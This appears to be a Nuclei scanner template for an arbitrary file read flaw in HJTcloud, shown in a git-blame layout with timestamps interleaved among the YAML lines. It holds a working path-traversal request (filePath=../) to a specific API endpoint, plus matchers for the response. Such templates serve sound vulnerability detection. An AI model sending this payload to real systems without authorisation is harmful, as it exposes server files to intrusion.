2021-05-31 08:50:30 +00:00
|
|
|
id: hjtcloud-rest-arbitrary-file-read
|
2021-05-31 05:45:01 +00:00
|
|
|
|
|
|
|
info:
|
2021-05-31 08:49:23 +00:00
|
|
|
name: HJTcloud Arbitrary file read
|
2021-05-31 05:45:01 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: low
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
|
2021-05-31 08:49:23 +00:00
|
|
|
tags: hjtcloud,lfi
|
2021-05-31 05:45:01 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2021-05-31 08:49:23 +00:00
|
|
|
- "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"
|
2021-05-31 05:45:01 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-06-01 10:38:41 +00:00
|
|
|
- '"name":'
|
|
|
|
- '"length":'
|
|
|
|
- '"filePath":'
|
|
|
|
- '"list":'
|
2021-05-31 08:49:23 +00:00
|
|
|
condition: and
|
2021-06-01 10:38:41 +00:00
|
|
|
part: body
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
words:
|
|
|
|
- "application/json"
|
|
|
|
part: header
|
2021-05-31 05:45:01 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|